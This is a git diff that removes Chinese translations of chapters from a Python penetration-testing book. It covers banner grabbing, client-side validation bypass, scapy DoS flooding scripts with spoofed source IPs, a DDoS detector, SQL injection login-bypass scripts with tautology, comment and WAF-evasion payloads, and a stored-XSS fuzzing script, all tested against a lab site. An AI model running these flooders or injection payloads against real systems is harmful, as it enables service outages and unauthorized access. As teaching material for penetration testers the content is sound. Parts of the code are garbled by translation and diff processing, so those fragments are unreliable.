`在哪里,如下面的截图所示:
-
-![Information gathering of a website from SmartWhois by the parser BeautifulSoup](graphics/8583OT_05_07.jpg)
-
-div ID 信息
-
-现在让我们在下面的屏幕截图中看到前面代码的输出:
-
-![Information gathering of a website from SmartWhois by the parser BeautifulSoup](graphics/8583OT_05_08.jpg)
-
-代码的输出
-
-考虑另一个你想收集网站信息的例子。在为特定网站收集信息的过程中,您可能使用了[http://smartwhois.com/](http://smartwhois.com/) 。通过使用 SmartWhois,您可以获得有关任何网站的有用信息,例如注册人姓名、注册人组织、名称服务器等。
-
-在以下代码中,您将看到如何从 SmartWhois 获取信息。在信息收集的过程中,我研究了 SmartWhois,发现它的`
`标签保留了相关信息。以下程序将从该标记收集信息,并以可读形式保存在文件中:
-
-```
-import urllib
-from bs4 import BeautifulSoup
-import re
-domain=raw_input("Enter the domain name ")
-url = "http://smartwhois.com/whois/"+str(domain)
-ht= urllib.urlopen(url)
-html_page = ht.read()
-b_object = BeautifulSoup(html_page)
-file_text= open("who.txt",'a')
-who_is = b_object.body.find('div',attrs={'class' : 'whois'})
-who_is1=str(who_is)
-
-for match in re.finditer("Domain Name:",who_is1):
- s= match.start()
-
-lines_raw = who_is1[s:]
-lines = lines_raw.split(" ",150)
-i=0
-for line in lines :
- file_text.writelines(line)
- file_text.writelines("\n")
- print line
- i=i+1
- if i==17 :
- break
-file_text.writelines("-"*50)
-file_text.writelines("\n")
-file_text.close()
-```
-
-让我们分析一下`file_text= open("who.txt",'a')`语句,因为我希望您遵循前面的代码。`file_text`文件对象以追加模式打开`who.txt`文件来存储结果。`who_is = b_object.body.find('div',attrs={'class' : 'whois'})`语句生成所需的结果。但是,`who_is`并不包含字符串形式的所有数据。如果我们使用`b_object.body.find('div',attrs={'class' : 'whois'}).text`,它将输出包含标签的所有文本,但这些信息变得非常难以阅读。`who_is1=str(who_is)`语句将信息转换为字符串形式:
-
-```
-for match in re.finditer("Domain Name:",who_is1):
- s= match.start()
-```
-
-前面的代码找到了`"Domain Name:"`字符串的起点,因为我们有价值的信息在这个字符串后面。`lines_raw`变量包含`"Domain Name:"`字符串后面的信息。`lines = lines_raw.split(" ",150)`语句使用` `分隔符分隔行,`"lines"`变量成为一个列表。这意味着在 HTML 页面中,如果存在中断符**``**,则语句将生成一个新行,所有行将存储在名为 lines 的列表中。`i=0`变量初始化为 0,将进一步用于打印行数作为结果。下面的代码以存在于硬盘上的文件形式保存结果,并在屏幕上显示结果。****
-
- ****屏幕输出如下所示:
-
-![Information gathering of a website from SmartWhois by the parser BeautifulSoup](graphics/8583OT_05_09.jpg)
-
-SmartWhois 提供的信息
-
-现在,让我们查看文件中的代码输出:
-
-![Information gathering of a website from SmartWhois by the parser BeautifulSoup](graphics/8583OT_05_10.jpg)
-
-代码在文件中的输出
-
-### 注
-
-您已经看到了如何从网页中获取超链接,通过使用前面的代码,您可以获取有关超链接的信息。不要停在这里;相反,请尝试在[阅读更多关于 BeautifulSoup 的 http://www.crummy.com/software/BeautifulSoup/bs4/doc/](http://www.crummy.com/software/BeautifulSoup/bs4/doc/) 。
-
-现在,让我们进行一个练习,将列表中的域名作为输入,并将结果写入一个文件中。**** ****# 网站的横幅抓取
-
-在本节中,我们将获取一个网站的 HTTP 横幅。**抓取横幅**或**操作系统指纹**是确定目标 web 服务器上运行的操作系统的一种方法。在下面的程序中,我们将在我们的计算机上嗅探网站的数据包,正如我们在[第 3 章](13.html "Chapter 3. Sniffing and Penetration Testing")、*嗅探和渗透测试*中所做的那样。
-
-横幅抓取器的代码如下所示:
-
-```
-import socket
-import struct
-import binascii
-s = socket.socket(socket.PF_PACKET, socket.SOCK_RAW, socket.ntohs(0x0800))
-while True:
-
- pkt = s.recvfrom(2048)
- banner = pkt[0][54:533]
- print banner
- print "--"*40
-```
-
-由于您必须已经阅读了[第 3 章](13.html "Chapter 3. Sniffing and Penetration Testing")、*嗅探和渗透测试*,因此您应该熟悉此代码。`banner = pkt[0][54:533]`声明在这里是新的。在`pkt[0][54:]`之前,数据包包含 TCP、IP 和以太网信息。在做了一些点击追踪后,我发现抓取横幅的信息位于`[54:533]`之间,你可以通过切片`[54:540]`、`[54:545]`、`[54:530]`等进行点击追踪。
-
-要获得输出,您必须在程序运行时在 web 浏览器中打开网站,如下图所示:
-
-![Banner grabbing of a website](graphics/8583OT_05_11.jpg)
-
-抢旗
-
-因此,前面的输出显示服务器是 Microsoft IIS.6.0,ASP.NET 是正在使用的**编程语言。我们得到的信息与我们在报头检查过程中收到的信息相同。请尝试此代码,并使用不同的状态代码获取更多信息。**
-
- **通过使用前面的代码,您可以为自己准备信息收集报告。当我将信息收集方法应用到网站上时,我通常会发现客户犯了很多错误。在下一节中,您将看到 web 服务器上最常见的错误。** **# 强化 web 服务器
-
-在本节中,让我们介绍一下在 web 服务器上观察到的常见错误。我们还将讨论以下几点来强化 web 服务器:
-
-* 始终隐藏服务器签名。
-* 如果可能,设置一个伪造的服务器签名,这可能会误导攻击者。
-* 处理错误。
-* 尝试隐藏编程语言页面扩展,因为攻击者很难看到 web 应用程序的编程语言。
-* 使用供应商提供的最新修补程序更新 web 服务器。它避免了任何利用 web 服务器的机会。至少可以保护服务器的已知漏洞。
-* 不要使用第三方补丁来更新 web 服务器。第三方修补程序可能包含特洛伊木马、病毒等。
-* 不要在 web 服务器上安装其他应用程序。如果安装操作系统(如 RHEL 或 Windows),请不要安装其他不必要的软件(如 Office 或 Editor),因为它们可能包含漏洞。
-* 关闭除`80`和`443`之外的所有端口。
-* 不要在 web 服务器上安装任何不必要的编译器,如 gcc。如果攻击者破坏了 web 服务器并希望上载可执行文件,则 ID 或 IP 可以检测到该文件。在这种情况下,攻击者将在 web 服务器上上载代码文件(以文本文件的形式),并在 web 服务器上执行该文件。此执行可能会损坏 web 服务器。
-* 设置活动用户的数量限制,以防止 DDOS 攻击。
-* 在 web 服务器上启用防火墙。防火墙做很多事情,比如关闭端口、过滤流量等等。
-
-# 总结
-
-在本章中,我们了解了 web 服务器签名的重要性,获得服务器签名是黑客攻击的第一步。亚伯拉罕·林肯曾经说过:
-
-> *“给我六个小时砍树,我会用前四个小时磨斧头。”*
-
-同样的情况也适用于我们的情况。在对 web 服务器发起攻击之前,最好准确地检查哪些服务正在其上运行。这是通过 web 服务器的脚打印完成的。错误处理技术是一个被动过程。标题检查和横幅抓取是收集 web 服务器信息的活动过程。在本章中,我们还了解了解析器 Beautifulsoup。可以从 Beautifulsoup 获得超链接、标记、ID 等部分。在上一节中,您已经看到了一些关于强化 web 服务器的指导原则。如果您遵循这些准则,您可能会使您的 web 服务器难以受到攻击。
-
-在下一章中,您将学习客户端验证和参数调整。您将学习如何生成和检测 DoS 和 DDOS 攻击。********
\ No newline at end of file
diff --git a/trans/py-pentest-dev/16.md b/trans/py-pentest-dev/16.md
deleted file mode 100644
index 3f84f96..0000000
--- a/trans/py-pentest-dev/16.md
+++ /dev/null
@@ -1,364 +0,0 @@
-# 第 6 章客户端和 DDoS 攻击
-
-在上一章中,您学习了如何解析 web 页面以及如何从 HTML 页面收集特定信息。在本章中,我们将介绍以下主题:
-
-* 网页中的验证
-* 验证类型
-* 验证的渗透测试
-* 拒绝服务攻击
-* 分布式拒绝服务攻击
-* DDoS 检测
-
-# 引入客户端验证
-
-在 web 浏览器中访问网页时,通常需要打开表单,填写表单,然后提交表单。填写表单时,有些字段可能会有限制,比如用户名,用户名应该是唯一的;密码,应大于 8 个字符,并且这些字段不应为空。为此,使用了两种类型的验证,即客户端验证和服务器端验证。PHP 和 ASP.NET 等语言使用服务器端验证,获取输入参数并将其与服务器数据库匹配。
-
-在客户端验证中,验证在客户端完成。JavaScript 用于客户端验证。快速响应和简单实现使客户端验证在一定程度上受益。然而,频繁使用客户端验证为攻击者提供了一种简单的攻击方式;服务器端验证比客户端验证更安全。普通用户可以在 web 浏览器上看到正在发生的事情。但是黑客可以看到在网络浏览器之外可以做什么。下图说明了客户端和服务器端验证:
-
-![Introducing client-side validation](graphics/8583OT_06_01_new.jpg)
-
-PHP 起着中间层的作用。它将 HTML 页面连接到 SQL Server。
-
-# 用 Python 篡改客户端参数
-
-最常用的两种方法 POST 和 GET 用于传递 HTTP 协议中的参数。如果网站使用 GET 方法,其传递参数显示在 URL 中,您可以更改此参数并将其传递给 web 服务器;这与 POST 方法不同,后者的参数不显示在 URL 中。
-
-在本节中,我们将使用带有简单 JavaScript 代码的虚拟网站,以及 POST 方法传递并托管在 Apache web 服务器上的参数。
-
-让我们看看`index.php`代码:
-
-```
-
-
-
-
Leave your Comments
-
-
-
-
- Old comments
-
-
-
-```
-
-我希望你能理解 HTML、JavaScript 和 PHP 代码。前面的代码显示了一个示例表单,它包括两个文本提交字段,名称和注释:
-
-```
-if((formObj.name.value.length<1) || (formObj.name.value=="HACKER"))
-{
-alert("Enter your name");
-return false;
-}
-if(formObj.comment.value.length<1)
-{
-alert("Enter your comment.");
-return false;
-}
-```
-
-前面的代码显示验证。如果名称字段为空或填写为`HACKER`,则会显示一个警告框,如果注释字段为空,则会显示一条警告消息,您可以在其中输入注释,如下图所示:
-
-![Tampering with the client-side parameter with Python](graphics/8583OT_06_02.jpg)
-
-验证警报框
-
-所以我们的挑战是绕过验证并提交表单。您之前可能已经使用 Burp 套件完成了此操作。现在,我们将使用 Python 来实现这一点。
-
-在上一章中,您看到了 BeautifulSoup 工具;现在我将使用一个名为**mechanize**的 Python 浏览器。mechanize web 浏览器提供了在网页中获取表单的工具,还方便了输入值的提交。通过使用 mechanize,我们将绕过验证,如下代码所示:
-
-```
-import mechanize
-br = mechanize.Browser()
-br.set_handle_robots( False )
-url = raw_input("Enter URL ")
-br.set_handle_equiv(True)
-br.set_handle_gzip(True)
-br.set_handle_redirect(True)
-br.set_handle_referer(True)
-br.set_handle_robots(False)
-br.open(url)
-for form in br.forms():
- print form
-```
-
-我们所有的代码片段都以`import`语句开头。因此,我们在这里导入`mechanize`模块。下一个行创建`mechanize`类的`br`对象。`url = raw_input("Enter URL ")`语句要求用户输入。接下来的五行表示有助于重定向和`robots.txt`处理的浏览器选项。`br.open(url)`语句打开我们提供的 URL。下一条语句在网页上打印表单。现在,让我们检查一下`paratemp.py`程序的输出:
-
-![Tampering with the client-side parameter with Python](graphics/8583OT_06_03_new.jpg)
-
-程序输出显示存在两个名称值。第一个是**名称**,第二个是**注释**,将传递到动作页面。现在我们已经收到了参数。让我们看看代码的其余部分:
-
-```
-br.select_form(nr=0)
-br.form['name'] = 'HACKER'
-br.form['comment'] = ''
-br.submit()
-```
-
-第一行用于选择表单。在我们的网站上,只有一个表格。`br.form['name'] = 'HACKER'`语句填充名称字段中的值`HACKER`,下一行填充空注释,最后一行提交值。
-
-现在,让我们看看双方的结果。代码的输出如下所示:
-
-![Tampering with the client-side parameter with Python](graphics/8583OT_06_04.jpg)
-
-提交表格
-
-网站的输出如下图所示:
-
-![Tampering with the client-side parameter with Python](graphics/8583OT_06_05.jpg)
-
-验证旁路
-
-前面的屏幕截图显示它已经成功了。
-
-现在,您必须对如何绕过验证有了一个合理的想法。一般来说,人们认为 POST 方法发送的参数是安全的。然而,在前面的实验中,您已经看到对于内部网络中的普通用户来说是安全的。如果网站仅由内部用户使用,那么客户端验证是一个不错的选择。然而,如果您对电子商务网站使用客户端验证,那么您只是在邀请攻击者利用您的网站进行攻击。在下面的主题中,您将看到客户端验证对业务的一些不良影响。
-
-# 参数篡改对业务的影响
-
-作为一名 pentester,您通常需要分析源代码。如今,电子商务的世界正在迅速发展。考虑一个电子商务网站的例子,如下面的截图所示:
-
-![Effects of parameter tampering on business](graphics/8583OT_06_06.jpg)
-
-网站示例
-
-上面的截图显示**诺基亚 C7**的价格为**60**,而**iPhone 3G**的价格为**600**。您不知道这些价格是来自数据库还是写在网页上。以下屏幕截图显示了两款手机的价格:
-
-![Effects of parameter tampering on business](graphics/8583OT_06_07.jpg)
-
-查看源代码
-
-现在,让我们看看源代码,如以下屏幕截图所示:
-
-![Effects of parameter tampering on business](graphics/8583OT_06_08_new.jpg)
-
-请看前面屏幕截图中的矩形框。价格**60**写入网页,但价格 600 取自数据库。如果使用 GET 方法,则可以通过 URL 篡改来更改**60**的价格。价格可以由 60 改为 6。这将严重影响业务。在白盒测试中,客户端会给你源代码,你可以分析这些代码,但在黑盒测试中,你必须使用攻击进行测试。如果使用 POST 方法,则可以使用 Mozilla 插件篡改数据([https://addons.mozilla.org/en-US/firefox/addon/tamper-data/](https://addons.mozilla.org/en-US/firefox/addon/tamper-data/) 用于参数篡改。您必须手动完成,因此,不需要使用 Python 编程。
-
-# 引入 DoS 和 DDoS
-
-在本节中,我们将讨论一种最致命的攻击,称为拒绝服务攻击。此攻击的目的是消耗机器或网络资源,使其无法供预期用户使用。通常,攻击者在每次其他攻击失败时使用此攻击。这种攻击可以在数据链路、网络或应用层进行。通常,web 服务器是黑客的目标。在 DoS 攻击中,攻击者向 web 服务器发送大量请求,目的是消耗网络带宽和机器内存。在**分布式拒绝服务**(**DDoS**攻击中,攻击者从不同 IP 发送大量请求。为了执行 DDoS,攻击者可以使用特洛伊木马或 IP 欺骗。在本节中,我们将进行各种实验以完成我们的报告。
-
-## 单 IP 单端口
-
-在这次攻击中,我们使用单个 IP(可能是伪造的)从单个源端口号向 web 服务器发送大量数据包。这是一种非常低级的 DoS 攻击,这将测试 web 服务器的请求处理能力。
-
-以下是`sisp.py`的代码:
-
-```
-from scapy.all import *
-src = raw_input("Enter the Source IP ")
-target = raw_input("Enter the Target IP ")
-srcport = int(raw_input("Enter the Source Port "))
-i=1
-while True:
- IP1 = IP(src=src, dst=target)
- TCP1 = TCP(sport=srcport, dport=80)
- pkt = IP1 / TCP1
- send(pkt,inter= .001)
- print "packet sent ", i
- i=i+1
-```
-
-我使用 scapy 编写了这段代码,希望您熟悉这段代码。前面的代码要求三件事:源 IP 地址、目标 IP 地址和源端口地址。
-
-让我们检查攻击者机器上的输出:
-
-![Single IP single port](graphics/8583OT_06_09_new.jpg)
-
-单端口单 IP
-
-我使用了一个伪造的 IP 来隐藏我的身份。您必须发送大量数据包来检查 web 服务器的行为。在攻击过程中,尝试打开托管在 web 服务器上的网站。不管是否有效,将你的发现写在报告中。
-
-让我们检查服务器端的输出:
-
-![Single IP single port](graphics/8583OT_06_10.jpg)
-
-服务器上的 Wireshark 输出
-
-此输出显示我们的数据包已成功发送到服务器。用不同的序列号重复此程序。
-
-## 单 IP 多端口
-
-现在,在这个攻击中,我们使用一个 IP 地址,但使用多个端口。
-
-在这里,我已经编写了`simp.py`程序的代码:
-
-```
-from scapy.all import *
-
-src = raw_input("Enter the Source IP ")
-target = raw_input("Enter the Target IP ")
-
-i=1
-while True:
- for srcport in range(1,65535):
- IP1 = IP(src=src, dst=target)
- TCP1 = TCP(sport=srcport, dport=80)
- pkt = IP1 / TCP1
- send(pkt,inter= .0001)
- print "packet sent ", i
- i=i+1
-```
-
-我对端口使用了`for`循环,让我们检查攻击者的输出:
-
-![Single IP multiple port](graphics/8583OT_06_11_new.jpg)
-
-来自攻击者机器的数据包
-
-前面的截图显示数据包发送成功。现在,检查目标机器上的输出:
-
-![Single IP multiple port](graphics/8583OT_06_12.jpg)
-
-目标计算机中出现的数据包
-
-在前面的屏幕截图中,矩形框显示端口号。我将让您用一个端口创建多个 IP。
-
-## 多 IP 多端口
-
-在本节中,我们将讨论具有多个端口地址的多 IP。在这次攻击中,我们使用不同的 IP 将数据包发送到目标。多个 IP 表示欺骗 IP。以下程序将从伪造的 IP 发送大量数据包:
-
-```
-import random
-from scapy.all import *
-target = raw_input("Enter the Target IP ")
-
-i=1
-while True:
- a = str(random.randint(1,254))
- b = str(random.randint(1,254))
- c = str(random.randint(1,254))
- d = str(random.randint(1,254))
- dot = "."
- src = a+dot+b+dot+c+dot+d
- print src
- st = random.randint(1,1000)
- en = random.randint(1000,65535)
- loop_break = 0
- for srcport in range(st,en):
- IP1 = IP(src=src, dst=target)
- TCP1 = TCP(sport=srcport, dport=80)
- pkt = IP1 / TCP1
- send(pkt,inter= .0001)
- print "packet sent ", i
- loop_break = loop_break+1
- i=i+1
- if loop_break ==50 :
- break
-```
-
-在前面的代码中,我们使用了`a`、`b`、`c`和`d`变量来存储四个随机字符串,范围从 1 到 254。`src`变量存储随机 IP 地址。在这里,我们使用了`loop_break`变量在 50 个数据包之后中断`for`循环。这意味着 50 个数据包来自一个 IP,而其余代码与前一个相同。
-
-让我们检查一下`mimp.py`程序的输出:
-
-![Multiple IP multiple port](graphics/8583OT_06_13_new.jpg)
-
-具有多个端口的多 IP
-
-在前面的屏幕截图中,您可以看到在数据包 50 之后,IP 地址发生了变化。
-
-让我们检查目标机器上的输出:
-
-![Multiple IP multiple port](graphics/8583OT_06_14.jpg)
-
-Wireshark 上目标机器的输出
-
-使用多台机器并执行此代码。在前面的屏幕截图中,您可以看到机器回复到源 IP。这种类型的攻击非常难以检测,因为很难区分数据包是来自有效主机还是来自欺骗主机。
-
-## DDoS 检测
-
-当我攻读工程硕士学位时,我和我的朋友正在研究 DDoS 攻击。这是一种非常严重且难以检测的攻击,几乎无法猜测流量是来自假主机还是真主机。在 DoS 攻击中,流量仅来自一个来源,因此我们可以阻止该特定主机。基于某些假设,我们可以制定规则来检测 DDoS 攻击。如果 web 服务器仅运行包含端口 80 的流量,则应该允许它。现在,让我们看一段非常简单的代码来检测 DDoS 攻击。程序名称为`DDOS_detect1.py`:
-
-```
-import socket
-import struct
-from datetime import datetime
-s = socket.socket(socket.PF_PACKET, socket.SOCK_RAW, 8)
-dict = {}
-file_txt = open("dos.txt",'a')
-file_txt.writelines("**********")
-t1= str(datetime.now())
-file_txt.writelines(t1)
-file_txt.writelines("**********")
-file_txt.writelines("\n")
-print "Detection Start ......."
-D_val =10
-D_val1 = D_val+10
-while True:
-
- pkt = s.recvfrom(2048)
- ipheader = pkt[0][14:34]
- ip_hdr = struct.unpack("!8sB3s4s4s",ipheader)
- IP = socket.inet_ntoa(ip_hdr[3])
- print "Source IP", IP
- if dict.has_key(IP):
- dict[IP]=dict[IP]+1
- print dict[IP]
- if(dict[IP]>D_val) and (dict[IP]D_val) and (dict[IP]D_val)`检测传入数据包的计数是否超过`D_val`值。如果超过,后续语句在得到新包后将 IP 写入`dos.txt`。为了避免冗余,使用了`(dict[IP] 0`,则用户可以访问其帐户。如果攻击者在用户名和密码字段中输入`1" or "1"="1`,则查询如下:
-
-```
- $sql = "SELECT count(*) FROM cros where (User="1" or "1"="1." and Pass="1" or "1"="1")";.
-```
-
-`User`和`Pass`字段将保留`true`,而`count(*)`字段将自动变为`count(*)> 0`。
-
-让我们编写`sql_form6.py`代码并逐行分析:
-
-```
-import mechanize
-import re
-br = mechanize.Browser()
-br.set_handle_robots( False )
-url = raw_input("Enter URL ")
-br.set_handle_equiv(True)
-br.set_handle_gzip(True)
-br.set_handle_redirect(True)
-br.set_handle_referer(True)
-br.set_handle_robots(False)
-br.open(url)
-
-for form in br.forms():
- print form
-br.select_form(nr=0)
-pass_exp = ["1'or'1'='1",'1" or "1"="1']
-
-user1 = raw_input("Enter the Username ")
-pass1 = raw_input("Enter the Password ")
-
-flag =0
-p =0
-while flag ==0:
- br.select_form(nr=0)
- br.form[user1] = 'admin'
- br.form[pass1] = pass_exp[p]
- br.submit()
- data = ""
- for link in br.links():
- data=data+str(link)
-
- list = ['logout','logoff', 'signout','signoff']
- data1 = data.lower()
-
- for l in list:
- for match in re.findall(l,data1):
- flag = 1
- if flag ==1:
- print "\t Success in ",p+1," attempts"
- print "Successfull hit --> ",pass_exp[p]
-
- elif(p+1 == len(pass_exp)):
- print "All exploits over "
- flag =1
- else :
- p = p+1
-```
-
-在`for`循环之前,您应该能够理解程序。`pass_exp`变量表示包含基于重言式的密码攻击的列表。`user1`和`pass1`变量要求用户输入用户名和密码字段,如表单所示。`flag=0`变量使`while`循环继续,`p`变量初始化为`0`。在`while`循环(即`br.select_form(nr=0)`语句)中,选择 HTML 表单一。实际上,此代码基于这样的假设:当您转到登录屏幕时,它将在第一个 HTML 表单中包含登录用户名和密码字段。`br.form[user1] = 'admin'`语句存储用户名;实际上,我用它使代码简单易懂。`br.form[pass1] = pass_exp[p]`语句显示传递给`br.form[pass1]`的`pass_exp`列表的元素。接下来,`for`循环部分将输出转换为字符串格式。我们如何知道密码是否已成功接受?您已经看到,在成功登录到页面后,您将在页面上找到一个注销或注销选项。我在一个名为`list`的列表中存储了注销和注销选项的不同组合。`data1 = data.lower()`语句将所有数据更改为小写。这样可以很容易地在数据中找到注销或注销条款。现在,让我们看看代码:
-
-```
-for l in list:
- for match in re.findall(l,data1):
- flag = 1
-```
-
-前面的代码将在`data1`中找到`list`的任何值。如果找到匹配项,则`flag`变为`1`;这将打破`while`循环。接下来,`if flag ==1`语句将显示成功的尝试。让我们看下一行代码:
-
-```
-elif(p+1 == len(pass_exp)):
- print "All exploits over "
- flag =1
-```
-
-前面的代码显示,如果`pass_exp`列表的所有值都已结束,则`while`循环将中断。
-
-现在,让我们检查以下屏幕截图中的代码输出:
-
-![Understanding the SQL injection attack by a Python script](graphics/8583OT_07_04.jpg)
-
-SQL 注入攻击
-
-前面的屏幕截图显示了代码的输出。这是清除程序逻辑的非常基本的代码。现在,我希望您修改代码并生成新的代码,您可以为密码和用户名提供列表值。
-
-我们可以为包含`user_exp = ['admin" --', "admin' --", 'admin" #', "admin' #" ]`的用户名编写不同的代码(`sql_form7.py`,并在密码字段中填写任何内容。此列表背后的逻辑是,在 admin 字符串`–`或`#`进行注释之后,该行的其余部分在 SQL 语句中:
-
-```
-import mechanize
-import re
-br = mechanize.Browser()
-br.set_handle_robots( False )
-url = raw_input("Enter URL ")
-br.set_handle_equiv(True)
-br.set_handle_gzip(True)
-br.set_handle_redirect(True)
-br.set_handle_referer(True)
-br.set_handle_robots(False)
-br.open(url)
-
-for form in br.forms():
- print form
-form = raw_input("Enter the form name " )
-br.select_form(name =form)
-user_exp = ['admin" --', "admin' --", 'admin" #', "admin' #" ]
-
-user1 = raw_input("Enter the Username ")
-pass1 = raw_input("Enter the Password ")
-
-flag =0
-p =0
-while flag ==0:
- br.select_form(name =form)
- br.form[user1] = user_exp[p]
- br.form[pass1] = "aaaaaaaa"
- br.submit()
- data = ""
- for link in br.links():
- data=data+str(link)
-
- list = ['logout','logoff', 'signout','signoff']
- data1 = data.lower()
-
- for l in list:
- for match in re.findall(l,data1):
- flag = 1
- if flag ==1:
- print "\t Success in ",p+1," attempts"
- print "Successfull hit --> ",user_exp[p]
-
- elif(p+1 == len(user_exp)):
- print "All exploits over "
- flag =1
- else :
- p = p+1
-```
-
-在前面的代码中,我们又使用了一个变量`form`;在输出中,您必须选择表单名称。在`sql_form6.py`代码中,我假设用户名和密码包含在表单编号`1`中。
-
-前面代码的输出如下所示:
-
-![Understanding the SQL injection attack by a Python script](graphics/8583OT_07_05.jpg)
-
-SQL 注入用户名查询漏洞
-
-现在,我们可以合并`sql_form6.py`和`sql_from7.py`代码并生成一个代码。
-
-为了减轻前面的 SQL 注入攻击,您必须设置一个过滤程序来过滤用户输入的输入字符串。在 PHP 中,`mysql_real_escape_string()`函数用于过滤。下面的屏幕截图显示了如何使用此功能:
-
-![Understanding the SQL injection attack by a Python script](graphics/8583OT_07_06.jpg)
-
-PHP 中的 SQL 注入过滤器
-
-到目前为止,您已经了解了如何执行 SQL 注入攻击。在 SQL 注入攻击中,我们必须手动执行很多操作,因为有很多 SQL 注入攻击,例如基于时间、基于 SQL 查询的包含顺序、基于联合等。每个 pentester 都应该知道如何手工创建查询。对于一种类型的攻击,您可以制作一个程序,但是现在,不同的网站开发人员使用不同的方法来显示数据库中的数据。有些开发人员使用 HTML 表单来显示数据,有些开发人员使用简单的 HTML 语句来显示数据。一个 Python 工具**sqlmap**可以做很多事情。然而,有时会出现 web 应用程序防火墙,如 mod security;这不允许通过查询**联合**和**订单等。在这种情况下,您必须手动创建查询,如下所示:**
-
-```
-/*!UNION*/ SELECT 1,2,3,4,5,6,--
-/*!00000UNION*/ SELECT 1,2,database(),4,5,6 –
-/*!UnIoN*/ /*!sElEcT*/ 1,2,3,4,5,6 –
-```
-
-您可以创建一个精心编制的查询的列表。当简单查询不起作用时,您可以检查网站的行为。根据行为,您可以决定查询是否成功。在这个例子中,Python 编程非常有帮助。
-
-现在让我们看一下为基于防火墙的网站制作 Python 程序的步骤:
-
-1. 列出所有精心编制的查询。
-2. 对网站应用一个简单的查询,并观察网站的响应。
-3. 将此响应用于`attempt not successful`。
-4. 逐个应用列出的查询,并按程序匹配响应。
-5. 如果响应不匹配,则手动检查查询。
-6. 如果显示成功,则停止该程序。
-7. 如果不成功,则将其添加到`attempt not successful`中,并继续执行列出的查询。
-
-前面的步骤仅用于显示精心编制的查询是否成功。只有通过查看网站才能找到所需的结果。
-
-# 学习跨站点脚本
-
-在本节中,我们将讨论**跨站点脚本**(**XSS**攻击。XSS 攻击利用动态生成的网页中的漏洞进行攻击,当发送到用户浏览器进行呈现的动态内容中包含无效输入数据时,就会发生这种。
-
-跨站点攻击有以下两种类型:
-
-* 持久或存储的 XSS
-* 非持久或反射 XSS
-
-## 持久或存储的 XSS
-
-在这种类型的攻击中,攻击者的输入存储在 web 服务器中。在一些网站上,你会看到评论栏和一个可以写评论的消息框。提交评论后,您的评论将显示在显示页面上。试着想想一个例子,你的评论成为 web 服务器 HTML 页面的一部分;这意味着您可以更改网页。如果没有适当的验证,那么您的恶意代码可能会存储在数据库中,当它反射回网页时,会产生不良效果。它被永久存储在数据库服务器中,这就是为什么它被称为持久性。
-
-## 非持久或反射 XSS
-
-在这种类型的攻击中,攻击者的输入不存储在数据库服务器中。响应以错误消息的形式返回。输入以 URL 或在搜索字段中给出。在本章中,我们将研究存储的 XSS。
-
-现在让我们看看 XSS 攻击的代码。代码的逻辑是向网站发送漏洞攻击。在以下代码中,我们将攻击表单的一个字段:
-
-```
-import mechanize
-import re
-import shelve
-br = mechanize.Browser()
-br.set_handle_robots( False )
-url = raw_input("Enter URL ")
-br.set_handle_equiv(True)
-br.set_handle_gzip(True)
-#br.set_handle_redirect(False)
-br.set_handle_referer(True)
-br.set_handle_robots(False)
-br.open(url)
-s = shelve.open("mohit.xss",writeback=True)
-for form in br.forms():
- print form
-
-att = raw_input("Enter the attack field ")
-non = raw_input("Enter the normal field ")
-br.select_form(nr=0)
-
-p =0
-flag = 'y'
-while flag =="y":
- br.open(url)
- br.select_form(nr=0)
- br.form[non] = 'aaaaaaa'
- br.form[att] = s['xss'][p]
- print s['xss'][p]
- br.submit()
- ch = raw_input("Do you continue press y ")
- p = p+1
- flag = ch.lower()
-```
-
-此代码是为使用名称和注释字段的网站编写的。这段代码将让您了解如何完成 XSS 攻击。有时,当您提交评论时,网站将重定向到显示页面。这就是为什么我们使用`br.set_handle_redirect(False)`语句进行评论。在代码中,我们将漏洞代码存储在`mohit.xss`搁置文件中。`br.forms():`中的表单语句将打印表单。通过查看表单,可以选择要攻击的表单字段。设置`flag = 'y'`变量使`while`循环至少执行一次。有趣的是,当我们使用`br.open(url)`语句时,它每次都会打开网站的 URL,因为在我的虚拟网站中,我使用了重定向;这意味着在提交表单后,它将重定向到显示页面,该页面将显示旧的注释。`br.form[non] = 'aaaaaaa'`语句只填充输入字段中的`aaaaaa`字符串。`br.form[att] = s['xss'][p]`语句显示所选字段将由 XSS 漏洞字符串填充。`ch = raw_input("Do you continue press y ")`语句要求用户输入下一次攻击。如果用户输入了`y`或`Y`,则`ch.lower()`将其设置为`y`,从而使`while`循环保持活动状态。
-
-现在,是输出的时候了。以下截图显示了`192.168.0.5`的索引页面:
-
-![Nonpersistent or reflected XSS](graphics/8583OT_07_07.jpg)
-
-网站的索引页
-
-现在是查看代码输出的时候了:
-
-![Nonpersistent or reflected XSS](graphics/8583OT_07_08.jpg)
-
-代码的输出
-
-您可以在前面的屏幕截图中看到代码的输出。当我按下*y*键时,代码发送 XSS 漏洞。
-
-现在我们来看网站的输出:
-
-![Nonpersistent or reflected XSS](graphics/8583OT_07_09.jpg)
-
-网站的输出
-
-您可以看到代码正在成功地将输出发送到网站。但是,由于 PHP 中的安全编码,该字段不受 XSS 攻击的影响。在本章末尾,您将看到**注释**字段的安全编码。现在,运行代码并检查名称字段。
-
-![Nonpersistent or reflected XSS](graphics/8583OT_07_10.jpg)
-
-对名称字段的攻击成功
-
-现在,让我们来看看 ToeT0}的代码,从中可以看到更新 T1。
-
-```
-import shelve
-def create():
- print "This only for One key "
- s = shelve.open("mohit.xss",writeback=True)
- s['xss']= []
-
-def update():
- s = shelve.open("mohit.xss",writeback=True)
- val1 = int(raw_input("Enter the number of values "))
-
- for x in range(val1):
- val = raw_input("\n Enter the value\t")
- (s['xss']).append(val)
- s.sync()
- s.close()
-
-def retrieve():
- r = shelve.open("mohit.xss",writeback=True)
- for key in r:
- print "*"*20
- print key
- print r[key]
- print "Total Number ", len(r['xss'])
- r.close()
-
-while (True):
- print "Press"
- print " C for Create, \t U for Update,\t R for retrieve"
- print " E for exit"
- print "*"*40
- c=raw_input("Enter \t")
- if (c=='C' or c=='c'):
- create()
-
- elif(c=='U' or c=='u'):
- update()
-
- elif(c=='R' or c=='r'):
- retrieve()
-
- elif(c=='E' or c=='e'):
- exit()
- else:
- print "\t Wrong Input"
-```
-
-我希望您熟悉前面的代码。现在,看前面代码的输出:
-
-![Nonpersistent or reflected XSS](graphics/8583OT_07_11.jpg)
-
-xss_data_handler.py 的输出
-
-前面的屏幕截图显示了`mohit.xss`文件的内容;`xss.py`文件仅限于两个字段。然而,现在让我们看看不限于两个字段的代码。
-
-`xss_list.py`文件如下:
-
-```
-import mechanize
-import shelve
-br = mechanize.Browser()
-br.set_handle_robots( False )
-url = raw_input("Enter URL ")
